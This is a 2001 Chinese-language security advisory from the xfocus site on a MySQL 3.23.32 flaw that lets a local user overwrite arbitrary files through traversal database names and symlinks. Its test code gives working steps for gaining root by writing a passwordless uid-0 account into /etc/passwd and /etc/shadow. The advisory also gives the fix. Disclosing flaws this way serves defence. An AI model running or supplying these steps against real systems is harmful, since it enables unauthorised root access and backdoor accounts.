xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

MySQLd 存在漏洞可以导致ROOT权利的破坏


发布时间:2001-03-24
更新时间:2001-03-24
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
MySQL 3.23.32和以前的版本
详细描述
本地用户可以利用MYSQLD来覆盖系统上的任意文件,如果MYSQL
以ROOT权利安装的话(RedHat 6.1 和 6.2 RPMs的MYSQLD以
ROOT身份运行 )。如果你拥有MYSQL的密码和用户名的话,
你可以使用../blah-blash作为合法数据库名让MYSQL接受,而
每个表有3个文件tablename.ISD, tablename.ISM 和 tablename.frm
represented来表示,当MySQLd检查表是否存在的时候,它只检查
tablename.frm。

测试代码
$ cd /var/tmp
$ ln -s /some/file/you/wish/to/overwrite qqq.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table qqq(www int);
\q
$
File /some/file/you/wish/to/overwrite will be overwritten.

Usage to gain root:
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$

解决方案
以普通用户来运行mysqld并将数据库文件转换为普通属主。

相关信息
此信息有Pavlov, Lesha(mailto:lesha@NN.RU)提供。